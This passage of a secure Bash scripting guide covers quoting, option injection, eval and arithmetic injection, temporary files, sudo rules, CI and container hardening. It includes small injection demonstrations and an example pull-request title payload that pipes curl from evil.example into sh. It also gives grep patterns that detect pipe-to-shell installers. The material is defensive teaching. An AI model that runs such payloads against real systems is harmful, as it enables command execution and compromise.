version. If the value had been <code>*</code>, or <code>/ --no-preserve-root</code>, the same line would have done real damage. Quote every variable expansion and command substitution as <code>\"$var\"</code> and <code>\"$(cmd)\"</code>. Use <code>\"$@\"</code> for argument lists and <code>\"${arr[@]}\"</code> for arrays. The few places where you want splitting, such as expanding an option string on purpose, deserve a comment saying so. ShellCheck reports the unquoted cases as SC2086, and running it on every script catches most of them.</p>\n\n<h2>Option injection and the double dash</h2>\n<p>Most commands treat any argument starting with a dash as an option, even when it came from a file name. An attacker who can create a file named <code>-rf</code> or <code>-n</code> in a directory that your script globs can change what your command does.</p>\n<pre><code class=\"language-bash\">touch ./-n a.txt b.txt\nwc -c *\nwc -c ./*\nwc -c -- *\n</code></pre>\n<pre><code class=\"language-text\">wc: invalid option -- 'n'\nTry 'wc --help' for more information.\n0 total\n0 total\n</code></pre>\n<p>The first command expanded to <code>wc -c -n a.txt b.txt</code> and failed. With <code>rm</code>, <code>chmod</code>, <code>chown</code>, <code>tar</code> or <code>rsync</code>, a hostile name can do something worse than fail: <code>tar</code> accepts <code>--checkpoint-action=exec=...</code> in a file name and runs it, an attack documented for years. The two defences are the double dash, which ends option parsing for commands that follow the convention, and a path prefix. Write <code>./*</code> instead of <code>*</code> in globs and use <code>--</code> before any operand that came from outside. Not every command honors <code>--</code>, so for those, the <code>./</code> prefix, or an absolute path, is the reliable form.</p>\n\n<h2>File names are arbitrary bytes</h2>\n<p>A Unix file name can contain any byte except slash and NUL, including spaces, newlines, quotes and leading dashes. Scripts that parse <code>ls</code> output, split <code>find</code> results on whitespace, or loop over <code>$(find ...)</code> fail on such names and can be tricked by them. The safe pattern separates records with NUL, which cannot appear in a name.</p>\n<pre><code class=\"language-bash\">mkdir -p t; touch 't/a b' 't/-rf'\nfind t -type f -exec ls -- {} +\nprintf 'a b\\0c\\0' | xargs -0 -n1 echo item\nfind t -type f -print0 | while IFS= read -r -d '' f; do\n  printf 'file: [%s]\\n' \"$f\"\ndone\n</code></pre>\n<pre><code class=\"language-text\">t/-rf\nt/a b\nitem a b\nitem c\nfile: [t/a b]\nfile: [t/-rf]\n</code></pre>\n<p>Plain <code>xargs</code> without <code>-0</code> split <code>a b</code> into two items in the same test. The idiom <code>IFS= read -r -d ''</code> reads up to a NUL, keeping leading whitespace and backslashes. Using <code>-exec ... {} +</code> avoids the pipe altogether and handles any name. When you only need a glob, an array is safe: <code>files=(./*.log)</code> keeps each name as one element no matter what it contains.</p>\n\n<h2>Never build a command in a string</h2>\n<p>Storing a command in a variable and then expanding it, <code>cmd=\"rm $target\"; $cmd</code>, hands the quoting problem back to the shell. So does <code>bash -c \"rm $target\"</code>, <code>sh -c</code> with an interpolated string, and passing a built string to <code>ssh</code>. Use an array, where each word is one element and the array expands without re-parsing.</p>\n<pre><code class=\"language-bash\">cmd=(rsync -a --delete -- \"$src/\" \"$dest/\")\nif [[ -n ${EXCLUDE:-} ]]; then\n  cmd+=(--exclude \"$EXCLUDE\")\nfi\n\"${cmd[@]}\"\n</code></pre>\n<p>An exclusion containing spaces or glob characters stays a single argument. When you must run a built string in a subshell, pass data as positional parameters and not by interpolation: <code>bash -c 'rm -- \"$1\"' _ \"$target\"</code> runs a fixed script and supplies the value as <code>$1</code>, so nothing the value contains is ever parsed as code. This one pattern replaces most legitimate uses of string-built commands.</p>\n\n<h2>eval and its relatives</h2>\n<p><code>eval</code> parses its arguments as shell code. Anything an attacker can put into the string runs with the script's privileges.</p>\n<pre><code class=\"language-bash\">name='x; echo INJECTED'\neval \"echo $name\"\n</code></pre>\n<pre><code class=\"language-text\">x\nINJECTED\n</code></pre>\n<p>The semicolon ended one command and began another. The same effect arises from <code>source</code> on a file the attacker can write, <code>.</code> on a path from input, <code>trap '...' EXIT</code> built from a variable, <code>alias</code> and <code>declare</code> with <code>-f</code> in some contexts, and the Bash feature that evaluates names as arithmetic. Replace <code>eval</code> with the construct that does the job without parsing: associative arrays or <code>case</code> for lookups, <code>declare -n</code> or <code>${!name}</code> for indirection, <code>printf -v name '%s' \"$value\"</code> to assign to a named variable, and <code>read -r \"$name\"</code> only after validating that <code>name</code> matches <code>^[A-Za-z_][A-Za-z0-9_]*$</code>.</p>\n\n<h2>Arithmetic contexts run code</h2>\n<p>This one surprises experienced scripters. In Bash, the operands of <code>-eq</code> and the other numeric tests inside <code>[[ ]]</code>, the contents of <code>(( ))</code> and <code>$(( ))</code>, array subscripts and a few other places are evaluated as arithmetic expressions, and an expression may contain a command substitution inside an array index.</p>\n<pre><code class=\"language-bash\">x='a[$(echo PWNED &gt;&amp;2)]'\n[[ $x -eq 0 ]]\necho \"rc=$?\"\n</code></pre>\n<pre><code class=\"language-text\">PWNED\nrc=0\n</code></pre>\n<p>The command in the subscript ran. A script that reads a \"count\" from a file or a query string and compares it with <code>[[ $count -gt 10 ]]</code> executes whatever the sender put there. Validate before any arithmetic: <code>[[ $count =~ ^[0-9]+$ ]] || die \"not a number\"</code>. The regex match does not evaluate its operand, so it is a safe gate, and <code>[ \"$count\" -gt 10 ]</code> with single brackets is not subject to this behavior in Bash, though it errors on non-numbers. The same rule applies to <code>declare -i</code> variables, <code>let</code>, <code>printf -v</code> targets and <code>test -v</code> with an array reference.</p>\n\n<h2>printf format strings</h2>\n<p><code>printf</code> interprets its first argument as a format. Putting data there lets that data control the output, and with some shells and options it can write to variables. Pass data as arguments, never as the format.</p>\n<pre><code class=\"language-bash\">user='%s %s %s'\nprintf \"$user\\n\"\nprintf '%s\\n' \"$user\"\n</code></pre>\n<pre><code class=\"language-text\">\n%s %s %s\n</code></pre>\n<p>The first form consumed percent directives and printed blanks; the second printed the data as written. In Bash <code>printf -v var</code> assigns to a variable and the named target is evaluated, which is another reason to validate names. ShellCheck flags the format-with-variable case as SC2059. The related <code>echo</code> pitfalls, where data beginning with a dash or containing backslash sequences is misread, are avoided by using <code>printf '%s\\n'</code> throughout.</p>\n\n<h2>Validate input with an allow-list</h2>\n<p>Escaping tries to make bad input harmless; validation refuses it. Allow-lists beat deny-lists because you describe what you accept, and everything else, including cases you did not think of, is rejected. Match the whole value against a strict pattern before it is used anywhere.</p>\n<pre><code class=\"language-bash\">validate_host() {\n  [[ $1 =~ ^[a-zA-Z0-9]([a-zA-Z0-9.-]{0,251}[a-zA-Z0-9])?$ ]]\n}\nvalidate_port() {\n  [[ $1 =~ ^[0-9]{1,5}$ ]] &amp;&amp; (( $1 &gt;= 1 &amp;&amp; $1 &lt;= 65535 ))\n}\nhost=\"${1:-}\"; port=\"${2:-22}\"\nvalidate_host \"$host\" || { echo \"bad host\" &gt;&amp;2; exit 2; }\nvalidate_port \"$port\" || { echo \"bad port\" &gt;&amp;2; exit 2; }\n</code></pre>\n<p>Anchor the pattern at both ends, or a value with a good prefix and a malicious tail passes. Note that the port check does the regex first and only then does arithmetic, so the arithmetic injection above is not reachable. Where the set of valid values is small, a <code>case</code> over exact strings is simpler and clearer than a regex. A name that must begin with a letter, so it cannot start with a dash, closes the option-injection hole at the same time.</p>\n\n<h2>Temporary files</h2>\n<p>A predictable temporary file name in a shared directory is an invitation. An attacker who can write to <code>/tmp</code> creates a symbolic link where your script will write, and the script, running with more privilege, overwrites a target of the attacker's choosing. This is a symlink attack, one form of the time-of-check to time-of-use class. <code>mktemp</code> creates the file atomically with an unguessable name and mode 600; <code>mktemp -d</code> does the same for a directory with mode 700.</p>\n<pre><code class=\"language-bash\">t=$(mktemp)\nd=$(mktemp -d)\nls -ld \"$t\" \"$d\" | cut -c1-10\ntrap 'rm -rf -- \"$t\" \"$d\"' EXIT\n</code></pre>\n<pre><code class=\"language-text\">-rw-------\ndrwx------\n</code></pre>\n<p>Never write <code>/tmp/myscript.$$</code> or <code>/tmp/out.txt</code>. The process ID is guessable, and a fixed name is shared. When the script runs as root, prefer a private directory such as <code>/run/myservice</code> created by a systemd unit with <code>RuntimeDirectory=</code>, or <code>PrivateTmp=true</code> to give the service its own <code>/tmp</code>. Also avoid checking a file and then using it in two steps; open it once and keep the descriptor, or let the kernel enforce the condition with options such as <code>O_NOFOLLOW</code> in a tool that offers them.</p>\n\n<h2>Control the environment</h2>\n<p>A script inherits its caller's environment, and several variables change behavior. <code>PATH</code> decides which program runs when you type <code>ls</code>. <code>IFS</code> changes word splitting. <code>BASH_ENV</code> names a file that non-interactive Bash runs on startup. <code>LD_PRELOAD</code> and <code>LD_LIBRARY_PATH</code> inject code into every dynamic program. <code>SHELLOPTS</code>, <code>PS4</code> and <code>CDPATH</code> alter tracing, prompts and <code>cd</code>. A script that runs with privilege must not trust any of them.</p>\n<pre><code class=\"language-bash\">printf 'echo STARTUP\\n' &gt; /tmp/lab/env.sh\nBASH_ENV=/tmp/lab/env.sh bash -c 'echo body'\n</code></pre>\n<pre><code class=\"language-text\">STARTUP\nbody\n</code></pre>\n<p>The startup file ran before the script body. Set what you rely on at the top: <code>PATH=/usr/sbin:/usr/bin:/sbin:/bin</code>, <code>IFS=$' \\t\\n'</code>, <code>unset CDPATH BASH_ENV ENV</code>, and use absolute paths for sensitive commands. Better still, start the script with a clean environment, <code>exec env -i PATH=... HOME=... bash \"$0\" \"$@\"</code>, for privileged entry points. <code>sudo</code> already resets the environment by default through <code>env_reset</code>; keep that on, and keep the allow-list of preserved variables short.</p>\n\n<h2>PATH and the current directory</h2>\n<p>A <code>PATH</code> containing an empty entry or <code>.</code> means the current directory is searched for commands. If an attacker can place a file named <code>ls</code> in a directory where a privileged user runs your script, that file runs instead of the real one.</p>\n<pre><code class=\"language-bash\">mkdir bin; printf '#!/bin/sh\\necho HIJACKED\\n' &gt; ls; chmod +x ls\nPATH=\".:$PATH\" ls\n</code></pre>\n<pre><code class=\"language-text\">HIJACKED\n</code></pre>\n<p>Beware also of an empty element produced by a trailing colon or by <code>PATH=\"$PATH:$extra\"</code> when <code>PATH</code> was unset. Check with <code>case \":$PATH:\" in *::*|*:.:*) echo unsafe;; esac</code>. For scripts that run as root, set <code>PATH</code> explicitly. For scripts that run as users, never add the current directory. And when a program name comes from input, resolve and check it, or select from a fixed list of allowed commands.</p>\n\n<h2>Secrets in arguments, traces and logs</h2>\n<p>Command-line arguments are visible to every user of the system through <code>ps</code> and <code>/proc/PID/cmdline</code> for as long as the process runs. A password passed as <code>mysql -p\"$pass\"</code> or <code>curl -u user:$pass</code> is readable by anyone on the host. Environment variables are not world-readable (<code>/proc/PID/environ</code> is mode 400 for the owner), but they are inherited by every child process and show up in crash dumps and some debug output. Shell history stores what you type. And <code>set -x</code> prints the expanded commands, secrets included, into logs.</p>\n<pre><code class=\"language-bash\">umask 077\nread -r -s -p \"Token: \" token; echo\ncurl -sS -H @- https://api.example.org/v1/me &lt;&lt;&lt; \"Authorization: Bearer $token\"\ncurl -sS --netrc-file ~/.config/app/netrc https://api.example.org/v1/me\n{ set +x; } 2&gt;/dev/null\n</code></pre>\n<p>The first <code>curl</code> reads headers from standard input with <code>-H @-</code>, so the token never appears in the process list. The second reads credentials from a file with tight permissions. Turn tracing off around sensitive lines, as in the last command, where redirecting the trace output of <code>set +x</code> itself hides the line announcing the change. Store secrets in a file readable only by the service account, mode 600, owned by it, or in a secret manager; with systemd use <code>LoadCredential=</code>, covered in <a href=\"/library/automate-tasks-cron-systemd\">the guide to cron and systemd timers</a>.</p>\n\n<h2>Redact what you log</h2>\n<p>Logs outlive scripts, travel to other systems and are read by people who should not see your tokens. Decide what is safe to log: operation names, counts, durations, host names and error messages are generally fine; headers, request bodies, tokens, passwords and personal data are not. When you log a command line, log the name and the non-sensitive options, not the full expansion. If you must show a URL that may carry a key in the query string, strip it before printing.</p>\n<pre><code class=\"language-bash\">redact() { sed -E 's/(token|key|password|secret)=[^&amp;[:space:]]+/\\\\1=REDACTED/gI'; }\nlog() { printf '%s %s\\n' \"$(date -u +%FT%TZ)\" \"$*\" | redact &gt;&amp;2; }\nlog \"fetching https://api.example.org/v1/items?page=2&amp;token=abc123\"\n</code></pre>\n<pre><code class=\"language-text\">2026-11-05T10:14:03Z fetching https://api.example.org/v1/items?page=2&amp;token=REDACTED\n</code></pre>\n<p>A redaction filter is a safety net, not a design. The best protection is never to pass the secret through the code that logs. Review the output of <code>set -x</code> runs and error messages from tools you call, since a failing <code>curl</code> may print the URL it was given, and one failing database client may print the connection string.</p>\n\n<h2>Permissions: umask, modes and ownership</h2>\n<p>Files a script creates take their mode from the process <code>umask</code>. A script that writes credentials, private keys or reports with the default 022 creates world-readable files. Set <code>umask 077</code> at the top for scripts that handle sensitive data, or create files with explicit modes using <code>install -m 600</code> or by creating the file first with <code>(umask 077; : &gt; file)</code>.</p>\n<pre><code class=\"language-bash\">( umask 077; touch priv; mkdir pd )\nls -ld priv pd | cut -c1-10\ninstall -m 600 -o app -g app /dev/null /etc/app/token\n</code></pre>\n<pre><code class=\"language-text\">drwx------\n-rw-------\n</code></pre>\n<p>Order matters: creating a file with a loose mode and then running <code>chmod 600</code> leaves a window in which another user can open it. Create with the right mode from the start. Check ownership on anything a privileged script reads: a configuration file in a directory the attacker can write is code the script will trust. If the script sources a file, or reads a command from it, that file and every directory above it must be owned by root and not writable by others.</p>\n\n<h2>Setuid scripts do not work, on purpose</h2>\n<p>Linux ignores the setuid and setgid bits on interpreted scripts. The reason is a race: the kernel opens the script to read the shebang, starts the interpreter with the script's path as an argument, and the interpreter opens the path again; between the two, an attacker can swap the file or a symbolic link, so the privileged interpreter runs the wrong script. Do not look for ways around this. The supported ways to run something with extra rights are narrow and explicit.</p>\n<p>A small compiled wrapper that does one thing, with a hardcoded path, can be setuid, though it carries the risk of any setuid program. A <code>sudo</code> rule that names the exact command is better. A systemd service with <code>User=</code> and the right <code>Capabilities</code> started by a socket or a timer is better still. A privileged script whose input is restricted to what a validated, narrow interface passes in is the common pattern, and it is the subject of the next sections.</p>\n\n<h2>sudo and least privilege</h2>\n<p>The principle of least privilege says that a process should hold only the rights its job needs, for only as long as it needs them. For scripts, that gives four practices. Run as an unprivileged user by default. Use <code>sudo</code> only for the individual commands that need it, not for the whole script. Grant sudo for exact command lines, not whole programs or wildcards. And drop privilege as early as possible when the script must start as root.</p>\n<pre><code class=\"language-text\"># /etc/sudoers.d/deploy  (edit with: visudo -f /etc/sudoers.d/deploy)\ndeploy ALL=(root) NOPASSWD: /usr/bin/systemctl restart app.service, \\\n                            /usr/bin/systemctl status app.service\n</code></pre>\n<pre><code class=\"language-bash\">sudo -l -U deploy\nsudo -n systemctl restart app.service\n</code></pre>\n<p>The rule lets the <code>deploy</code> user restart one service and read its status, and nothing else. Always edit sudoers with <code>visudo</code>, which checks syntax before saving, because a broken file can lock every administrator out. The next section covers the ways such rules fail.</p>\n\n<h2>How sudo rules go wrong</h2>\n<p>Several common rules are equivalent to full root. A rule allowing <code>/usr/bin/vim</code>, <code>less</code>, <code>find</code>, <code>awk</code>, <code>tar</code>, <code>git</code> or any editor or pager is a root shell, because each of them can run a command or open a shell from within. A wildcard in the argument list, such as <code>/usr/bin/systemctl restart *</code>, matches extra arguments, so <code>restart a b --now</code> is allowed, and <code>/usr/bin/tee /etc/app/*</code> can be abused with <code>..</code> path tricks. Allowing a script in a directory the user can write lets them replace it. Allowing <code>sudo -e</code> on a file the user can symlink lets them edit another.</p>\n<table>\n<thead><tr><th>Rule</th><th>Why it is unsafe</th><th>Better</th></tr></thead>\n<tbody>\n<tr><td><code>ALL=(ALL) NOPASSWD: ALL</code></td><td>Root without a password</td><td>Name the commands</td></tr>\n<tr><td><code>/usr/bin/vim *</code></td><td>Editor escapes to a shell</td><td><code>sudoedit /path/file</code></td></tr>\n<tr><td><code>/bin/chown * /srv/app</code></td><td>Extra flags and paths</td><td>Fixed arguments, or a wrapper</td></tr>\n<tr><td><code>/home/deploy/run.sh</code></td><td>User can edit the script</td><td>Root-owned file in a root-owned directory</td></tr>\n<tr><td><code>/usr/bin/find *</code></td><td><code>-exec</code> runs anything</td><td>A script that does the exact search</td></tr>\n</tbody>\n</table>\n<p>The remedy is to give sudo a tiny, root-owned wrapper script that takes validated arguments and does one job, and allow only that. The wrapper must follow every rule here: set its own <code>PATH</code>, quote everything, validate its input with an allow-list, use <code>mktemp</code>, and refuse unexpected arguments. A wrapper that takes a service name and checks it against an array of allowed names is a safe replacement for an open-ended rule.</p>\n\n<h2>Drop privileges early</h2>\n<p>Sometimes a script must start as root, for instance to bind a low port, read a protected file or mount a volume. Do the privileged part first, then continue as an unprivileged user. <code>setpriv</code>, <code>runuser</code>, <code>su -s</code> or <code>sudo -u</code> run a command as another user, and <code>setpriv</code> can also reduce capabilities and set <code>no_new_privs</code>.</p>\n<pre><code class=\"language-bash\">#!/usr/bin/env bash\nset -euo pipefail\n(( EUID == 0 )) || { echo \"must start as root\" &gt;&amp;2; exit 1; }\ninstall -d -m 750 -o app -g app /run/app\nexec setpriv --reuid=app --regid=app --init-groups --no-new-privs \\\n  /usr/local/bin/app --config /etc/app/app.conf\n</code></pre>\n<p>The <code>exec</code> replaces the root shell with the unprivileged process, leaving no privileged parent behind. A service unit does this declaratively with <code>User=</code>, <code>AmbientCapabilities=</code> and <code>NoNewPrivileges=true</code>, which is why moving a script into a unit is often the best hardening step. In containers, the same idea is a non-root <code>USER</code> directive, a read-only root filesystem and dropped capabilities.</p>\n\n<h2>Downloads and supply chain</h2>\n<p>Installers piped straight into a shell, <code>curl https://example.org/install.sh | sh</code>, run whatever the server sends at that moment, over a connection that may be proxied and with no record of what executed. A truncated download can also execute half a command: a line cut at <code>rm -rf /usr/local/share/app/</code> after the path was cut short is the textbook case. Download to a file, verify it, read it, then run it.</p>\n<pre><code class=\"language-bash\">curl -fsSLo install.sh https://example.org/install.sh\ncurl -fsSLo SHA256SUMS https://example.org/SHA256SUMS\ncurl -fsSLo SHA256SUMS.sig https://example.org/SHA256SUMS.sig\ngpg --verify SHA256SUMS.sig SHA256SUMS\nsha256sum -c --ignore-missing SHA256SUMS\nless install.sh\n</code></pre>\n<p>A checksum fetched from the same server as the file proves only that the download was not corrupted. A signature checked against a key you obtained earlier, by another route, proves who published it. Pin versions in scripts rather than fetching \"latest\", record the checksum in the script itself, and prefer the system package manager, which verifies signatures for you. The same care applies to <code>pip install</code>, <code>npm install</code> and container image tags in a script: pin by version or digest.</p>\n\n<h2>Reading input: read -r and IFS</h2>\n<p>The <code>read</code> builtin without <code>-r</code> treats a backslash as an escape and joins continued lines. Without clearing <code>IFS</code>, it strips leading and trailing whitespace. Both change the data you thought you read and can hide the difference between two inputs that should be distinct.</p>\n<pre><code class=\"language-bash\">printf 'a\\\\nb\\n' | { read line; echo \"[$line]\"; }\nprintf 'a\\\\nb\\n' | { read -r line; echo \"[$line]\"; }\nprintf '  lead\\n' | { IFS= read -r l; echo \"[$l]\"; }\n</code></pre>\n<pre><code class=\"language-text\">[anb]\n[a\\nb]\n[  lead]\n</code></pre>\n<p>Always write <code>IFS= read -r</code>. It is a security point because a rule that compares or matches a value, such as a deny list of names, can be bypassed by whitespace or escape sequences that the unsafe read normalized or kept. Likewise, command substitution strips trailing newlines, so <code>$(cat file)</code> is not a byte-for-byte copy; when exact content matters, read into a file, or use <code>read -r -d ''</code> with care.</p>\n\n<h2>Handle errors so failure is safe</h2>\n<p>A script that continues after a failed step can do damage that the step existed to prevent. The classic pair is <code>cd \"$dir\"; rm -rf *</code> when the <code>cd</code> fails. Start scripts with <code>set -euo pipefail</code>, but remember that <code>-e</code> has exceptions, and check the commands whose failure would be dangerous by hand. Use <code>${var:?}</code> to abort when a variable that guards a destructive operation is empty.</p>\n<pre><code class=\"language-bash\">set -euo pipefail\ndir=\"${1:?usage: clean.sh DIR}\"\ncd -- \"$dir\" || exit 1\nrm -rf -- \"${dir:?}/old\"\n</code></pre>\n<pre><code class=\"language-text\">bash: line 1: dir: parameter null or not set\n</code></pre>\n<p>With <code>set -u</code>, an unset variable is an error and <code>\"${var:?}\"</code> catches the empty-string case that <code>-u</code> allows. Fail closed: if a permission check cannot run, treat it as denied. If an input file is missing, stop; do not fall back to a default that is less strict. And clean up with a <code>trap</code> so that an aborted script does not leave sensitive temporary files or a half-applied change behind.</p>\n\n<h2>Worked example: fix a vulnerable script</h2>\n<p>Here is a plausible maintenance script. It lets an operator remove old logs for a named application. Spot the problems before reading the list.</p>\n<pre><code class=\"language-bash\">#!/bin/bash\napp=$1\ndays=$2\ntmp=/tmp/cleanup.$$\ncd /var/log/$app\nls | grep -v current &gt; $tmp\nfor f in $(cat $tmp); do\n  if [ $(stat -c %Y $f) -lt $(date -d \"$days days ago\" +%s) ]; then\n    rm $f\n  fi\ndone\necho \"cleaned $app\" | mail -s \"cleanup\" ops@example.org\n</code></pre>\n<p>The problems: <code>$1</code> is used to build a path with no validation, so <code>../../etc</code> escapes the log directory; an unquoted <code>cd</code> fails on spaces and the failure is ignored; the temporary file has a predictable name; <code>$(cat $tmp)</code> splits names on whitespace; <code>ls</code> output is parsed; <code>$days</code> goes into <code>date -d</code>, and <code>$days</code> reaches an arithmetic test unvalidated; the paths are not protected from a leading dash; and there is no <code>set -e</code> or error handling. The fixed version closes each one.</p>\n<pre><code class=\"language-bash\">#!/usr/bin/env bash\nset -euo pipefail\nPATH=/usr/sbin:/usr/bin:/sbin:/bin\numask 077\n\ndie() { printf 'error: %s\\n' \"$*\" &gt;&amp;2; exit 2; }\n\napp=\"${1:-}\"; days=\"${2:-}\"\n[[ $app =~ ^[a-z][a-z0-9_-]{0,31}$ ]] || die \"bad application name\"\n[[ $days =~ ^[0-9]{1,4}$ ]] || die \"days must be a number\"\n\nlogdir=\"/var/log/$app\"\n[[ -d $logdir &amp;&amp; ! -L $logdir ]] || die \"no such log directory\"\ncd -- \"$logdir\"\n\nremoved=0\nwhile IFS= read -r -d '' f; do\n  rm -f -- \"$f\"\n  removed=$(( removed + 1 ))\ndone &lt; &lt;(find . -maxdepth 1 -type f ! -name current -mtime +\"$days\" -print0)\n\nprintf 'cleaned %s: removed %s files\\n' \"$app\" \"$removed\"\n</code></pre>\n<pre><code class=\"language-text\">$ ./cleanup.sh nginx 30\ncleaned nginx: removed 12 files\n$ ./cleanup.sh ../etc 30\nerror: bad application name\n</code></pre>\n<p>The name is validated against an allow-list that cannot contain a dot, a slash or a leading dash. <code>days</code> is a number before any arithmetic. The directory is checked and not a symbolic link. <code>find</code> does the selection with <code>-print0</code>, so no whitespace parsing and no temporary file exist at all, and <code>rm -f --</code> handles names that start with a dash. The result is shorter than the original and has no known holes. Input validation, quoting and a smaller use of tools are what removed the risk.</p>\n\n<h2>Review checklist</h2>\n<p>When reviewing a script, especially one that runs with privilege or processes outside input, work through a fixed list. Check each item against the code, not against what you remember of it.</p>\n<ul>\n<li>Every expansion is quoted, and every array expansion uses <code>\"${arr[@]}\"</code>.</li>\n<li>File operands from outside come after <code>--</code> or carry a <code>./</code> prefix.</li>\n<li>No <code>eval</code>, no <code>bash -c</code> with interpolated strings, no <code>source</code> of writable files.</li>\n<li>Numbers are validated before any arithmetic, test or <code>(( ))</code>.</li>\n<li>Input is validated against an allow-list, anchored at both ends.</li>\n<li>Temporary files come from <code>mktemp</code>, are cleaned by a trap and have a private <code>umask</code>.</li>\n<li><code>PATH</code> is set, and no empty or dot entries exist.</li>\n<li>No secret appears in arguments, traces or logs.</li>\n<li>Privileged parts are as small as possible, and privilege is dropped early.</li>\n<li>sudo rules name exact commands, and wrappers are root-owned in root-owned directories.</li>\n<li>Failure paths stop the script, and the destructive commands guard their inputs.</li>\n<li>ShellCheck passes, with every suppression explained.</li>\n</ul>\n<p>Pair the review with tests of the hostile cases: a file named <code>-rf</code>, a name with a space and a newline, an empty argument, a value with a semicolon and a subshell, a symbolic link where a regular file is expected. The test setup is in <a href=\"/library/test-shell-scripts-bats-shellcheck\">the guide to testing shell scripts</a>, and a bug that only shows under such input is easier to trace with the methods in <a href=\"/library/debugging-shell-scripts\">the debugging guide</a>.</p>\n\n<h2>Paths, symlinks and traversal</h2>\n<p>A path built from input can point somewhere the author did not intend. Two mechanisms do it: <code>..</code> components that climb out of a directory, and symbolic links that redirect a name to another place. The check is to resolve the final path and compare it with the directory you meant to stay inside. <code>realpath</code> from GNU coreutils resolves both. Do the comparison on the resolved result, not on the string you were given, and do the work on the resolved path so that nothing changes between the check and the use.</p>\n<pre><code class=\"language-bash\">base=/srv/uploads\nwant=$(realpath -m -- \"$base/$name\")\ncase $want in\n  \"$base\"/*) ;;\n  *) echo \"path escapes $base\" &gt;&amp;2; exit 2 ;;\nesac\ncat -- \"$want\"\n</code></pre>\n<p>The <code>-m</code> option accepts a path that does not exist yet, which suits a file you are about to create. The case pattern requires the resolved path to start with the base followed by a slash, so a sibling directory named <code>/srv/uploads-old</code> does not pass. A gap remains between the check and the use: another process could swap a directory for a link in between. For scripts that run as root over directories others can write to, the answer is not a cleverer check but removing the sharing: process files in a directory only the service owns, and move uploads into it with an atomic rename.</p>\n\n<h2>Unpacking archives from outside</h2>\n<p>An archive carries paths, link targets and permissions, all chosen by its author. A tarball can contain a member named <code>../../etc/cron.d/x</code> or a symbolic link to <code>/</code> followed by a file written through it, a pattern known as zip slip or tar slip. GNU tar strips leading slashes and refuses members that contain <code>..</code> by default, but treat a download you did not create as hostile. List the contents first, extract into an empty private directory, and use options that restrict what the archive may do.</p>\n<pre><code class=\"language-bash\">dest=$(mktemp -d)\ntar -tzf upload.tgz | grep -E '(^/|\\.\\./)' &amp;&amp; { echo \"suspicious paths\" &gt;&amp;2; exit 1; }\ntar -xzf upload.tgz -C \"$dest\" --no-same-owner --no-same-permissions\nfind \"$dest\" -type l -print\n</code></pre>\n<p>The options keep extraction from restoring the archive's owner or setuid bits, which would otherwise be honored when run as root. The final <code>find</code> lists symbolic links so that you can decide whether to allow them. Extract as an unprivileged user wherever possible. The same applies to <code>unzip</code>, <code>cpio</code> and <code>bsdtar</code>, whose defaults differ, so read the manual page of the one you use.</p>\n\n<h2>Concurrency and race conditions</h2>\n<p>A script that runs more than once at a time can race with itself. The check \"does the file exist, then create it\" has a window between the two steps, and two instances can both pass the check. Use operations that are atomic: <code>mkdir</code> succeeds for exactly one caller, <code>mv</code> within a filesystem replaces atomically, <code>ln -s</code> fails if the link exists, and <code>set -o noclobber</code> with <code>&gt;</code> fails if the file exists. For critical sections use <code>flock</code>.</p>\n<pre><code class=\"language-bash\">set -o noclobber\nif { : &gt; /var/lock/job.lock; } 2&gt;/dev/null; then\n  trap 'rm -f /var/lock/job.lock' EXIT\n  ./work.sh\nelse\n  echo \"already running\" &gt;&amp;2\nfi\n</code></pre>\n<p>This lock file works but leaves a stale lock if the process is killed with SIGKILL, so the <code>flock</code> form from the Bash tutorial is better, since the kernel releases it automatically. In either case keep lock files in a directory only the service can write, or an attacker can create the lock and block the job for as long as they like, a denial of service that needs no exploit.</p>\n\n<h2>Scripts that run in CI</h2>\n<p>CI systems feed scripts with data from outside: branch names, pull request titles, commit messages and issue text. These are written by contributors, who in a public repository can be anyone. When a workflow interpolates such a value into a shell command through the CI system's own templating, the text becomes part of the script before the shell parses it, and a title like <code>\"; curl evil.example | sh #</code> runs in the job, often with access to secrets. The defence is the same as for any shell: never interpolate, pass the value as an environment variable, and quote it in the script.</p>\n<pre><code class=\"language-text\"># unsafe: the expression is pasted into the script text\nrun: echo \"Building ${{ github.event.pull_request.title }}\"\n\n# safe: the value arrives as data in an environment variable\nenv:\n  PR_TITLE: ${{ github.event.pull_request.title }}\nrun: printf 'Building %s\\n' \"$PR_TITLE\"\n</code></pre>\n<p>Treat untrusted pull requests as unprivileged: do not expose secrets to jobs triggered from forks, and keep the token's permissions to the minimum the job needs. Pin third-party actions and scripts by commit hash. Each of these steps corresponds to a rule earlier in this guide, applied to the CI system's expansion step as well as the shell's.</p>\n\n<h2>Containers and the non-root default</h2>\n<p>A script inside a container often runs as root because the image never said otherwise. That turns any flaw in the script, or in the tools it calls, into root inside the container, and a container escape bug into root on the host. Create an unprivileged user in the image and switch to it before the entrypoint runs, mount the root filesystem read-only and drop Linux capabilities you do not use.</p>\n<pre><code class=\"language-text\">FROM debian:12-slim\nRUN useradd --system --uid 10001 --no-create-home app\nCOPY --chown=root:root entrypoint.sh /usr/local/bin/entrypoint.sh\nUSER 10001\nENTRYPOINT [\"/usr/local/bin/entrypoint.sh\"]\n</code></pre>\n<pre><code class=\"language-bash\">docker run --rm --read-only --cap-drop=ALL --security-opt no-new-privileges   --tmpfs /tmp:rw,noexec,nosuid,size=16m myimage\n</code></pre>\n<p>The entrypoint is owned by root and not writable by the app user, so a compromised process cannot rewrite the script that will run on the next start. Writable paths are explicit, through the tmpfs mount. Never mount the Docker socket into a container that runs scripts handling outside input: access to it is root on the host. Entry point scripts should end with <code>exec \"$@\"</code> so signals reach the real process, as noted in the portable shell guide at <a href=\"/library/posix-sh-vs-bash-portable-scripts\">POSIX sh versus Bash</a>.</p>\n\n<h2>Find risky patterns in an existing codebase</h2>\n<p>When you inherit a pile of scripts, start with a search for the patterns that tend to hide the worst bugs, and let ShellCheck do the rest. A few <code>grep</code> commands list the places that deserve a human look first.</p>\n<pre><code class=\"language-bash\">grep -rnE '\\beval\\b|bash -c|sh -c' --include='*.sh' .\ngrep -rnE 'curl[^|]*\\|[[:space:]]*(sudo[[:space:]]+)?(ba)?sh' --include='*.sh' .\ngrep -rnE 'chmod[[:space:]]+(-R[[:space:]]+)?(777|a\\+rwx)' --include='*.sh' .\ngrep -rnE '/tmp/[A-Za-z0-9_.-]+(\\$\\$)?' --include='*.sh' .\nfind . -name '*.sh' -print0 | xargs -0 shellcheck -S warning -f gcc\n</code></pre>\n<p>The first finds string-built commands, the second pipe-to-shell installers, the third world-writable modes, the fourth predictable temporary names, and the last runs ShellCheck at warning severity across every script, printing one line per finding. Rank the results by exposure: scripts that run as root, scripts that read outside input and scripts that are copied into images come first. Fix by category and not by 